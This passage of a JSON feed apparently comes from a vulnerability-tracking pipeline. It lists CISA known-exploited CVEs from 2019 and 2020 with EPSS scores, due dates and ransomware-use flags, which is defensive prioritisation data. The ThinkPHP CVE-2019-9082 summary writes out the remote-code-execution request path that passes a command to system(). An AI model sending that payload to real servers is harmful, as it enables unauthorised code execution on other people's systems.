use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-5544","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-5544 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-5544&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-5544, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-5591","cveId":"CVE-2019-5591","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS Default Configuration Vulnerability","summary":"Fortinet FortiOS contains a default configuration vulnerability that may allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the Lightweight Directory Access Protocol (LDAP) server.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18566,"percentile":0.97233,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-5591&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-5591","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-5591 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-5591&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-5591, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-6223","cveId":"CVE-2019-6223","aliases":[],"kind":"vulnerability","title":"Apple iOS and macOS Group Facetime Vulnerability","summary":"Apple iOS and macOS Group FaceTime contains an unspecified vulnerability where the call initiator can cause the recipient's Apple device to answer unknowingly or without user interaction.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02629,"percentile":0.85391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-6223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-6223","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-6223 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-6223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-6223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7481","cveId":"CVE-2019-7481","aliases":[],"kind":"vulnerability","title":"SonicWall SMA100 SQL Injection Vulnerability","summary":"SonicWall SMA100 contains a SQL injection vulnerability allowing an unauthenticated user to gain read-only access to unauthorized resources.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA100","stacks":["SonicWall","SMA100"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99906,"percentile":0.99967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7481&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7481","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7481 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7481&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7481, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-8394","cveId":"CVE-2019-8394","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine ServiceDesk Plus (SDP) File Upload Vulnerability","summary":"Zoho ManageEngine ServiceDesk Plus (SDP) contains an unspecified vulnerability that allows remote users to upload files via login page customization.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine","stacks":["Zoho ManageEngine","Zoho","ManageEngine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63336,"percentile":0.99201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-8394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-8394","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-8394 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-8394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-8394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-9082","cveId":"CVE-2019-9082","aliases":[],"kind":"vulnerability","title":"ThinkPHP Remote Code Execution Vulnerability","summary":"ThinkPHP contains an unspecified vulnerability that allows for remote code execution via public//?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= followed by the command.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"ThinkPHP","product":"ThinkPHP","stacks":["ThinkPHP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97419,"percentile":0.99898,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-9082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-9082","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-9082 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-9082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-9082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-9978","cveId":"CVE-2019-9978","aliases":[],"kind":"vulnerability","title":"WordPress Social Warfare Plugin Cross-Site Scripting (XSS) Vulnerability","summary":"WordPress Social Warfare plugin contains a cross-site scripting (XSS) vulnerability that allows for remote code execution. This vulnerability affects Social Warfare and Social Warfare Pro.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"WordPress","product":"Social Warfare Plugin","stacks":["WordPress","Social Warfare Plugin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.72946,"percentile":0.99447,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-9978&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-9978","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-9978 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-9978&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-9978, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0041","cveId":"CVE-2020-0041","aliases":[],"kind":"vulnerability","title":"Android Kernel Out-of-Bounds Write Vulnerability","summary":"Android Kernel binder_transaction of binder.c contains an out-of-bounds write vulnerability due to an incorrect bounds check that could allow for local privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0069 under exploit chain \"AbstractEmu.\"","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Android Kernel","stacks":["Android","Android Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03246,"percentile":0.88226,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0041&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0041","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0041 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0041&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0041, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0069","cveId":"CVE-2020-0069","aliases":[],"kind":"vulnerability","title":"Mediatek Multiple Chipsets Insufficient Input Validation Vulnerability","summary":"Multiple MediaTek chipsets contain an insufficient input validation vulnerability and have missing SELinux restrictions in the Command Queue drivers ioctl handlers. This causes an out-of-bounds write leading to privilege escalation. This vulnerability was observed chained with CVE-2019-2215 and CVE-2020-0041 under exploit chain \"AbstractEmu.\"","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"MediaTek","product":"Multiple Chipsets","stacks":["MediaTek","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0137,"percentile":0.71721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0069","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0069 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0601","cveId":"CVE-2020-0601","aliases":[],"kind":"vulnerability","title":"Microsoft Windows CryptoAPI Spoofing Vulnerability","summary":"Microsoft Windows CryptoAPI (Crypt32.dll) contains a spoofing vulnerability in the way it validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software. The vulnerability is also known under the moniker of CurveBall.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89078,"percentile":0.99778,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0601&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0601","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0601 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0601&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0601, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0646","cveId":"CVE-2020-0646","aliases":[],"kind":"vulnerability","title":"Microsoft .NET Framework Remote Code Execution Vulnerability","summary":"Microsoft .NET Framework contains an improper input validation vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":".NET Framework","stacks":[".NET","Microsoft",".NET Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99222,"percentile":0.99935,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0646&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0646","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0646 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0646&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0646, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0674","cveId":"CVE-2020-0674","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability due to the way the Scripting Engine handles objects in memory. Successful exploitation could allow remote code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86863,"percentile":0.99743,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0674&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0674","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0674 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0674&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0674, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0683","cveId":"CVE-2020-0683","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Installer Privilege Escalation Vulnerability","summary":"Microsoft Windows Installer contains a privilege escalation vulnerability when MSI packages process symbolic links, which allows attackers to bypass access restrictions to add or remove files.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07605,"percentile":0.94507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0683&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0683","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0683 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0683&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0683, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0688","cveId":"CVE-2020-0688","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability","summary":"Microsoft Exchange Server Validation Key fails to properly create unique keys at install time, allowing for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99962,"percentile":0.99975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0688&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0688","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0688 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0688&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0688, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0878","cveId":"CVE-2020-0878","aliases":[],"kind":"vulnerability","title":"Microsoft Edge and Internet Explorer Memory Corruption Vulnerability","summary":"Microsoft Edge and Internet Explorer contain a memory corruption vulnerability that allows attackers to execute code in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Edge and Internet Explorer","stacks":["Microsoft Edge","Microsoft","Edge and Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02696,"percentile":0.85808,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0878&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0878","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0878 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0878&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0878, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0938","cveId":"CVE-2020-0938","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability","summary":"Microsoft Windows Adobe Font Manager Library contains an unspecified vulnerability when handling specially crafted multi-master fonts (Adobe Type 1 PostScript format) that allows for remote code execution for all systems except Windows 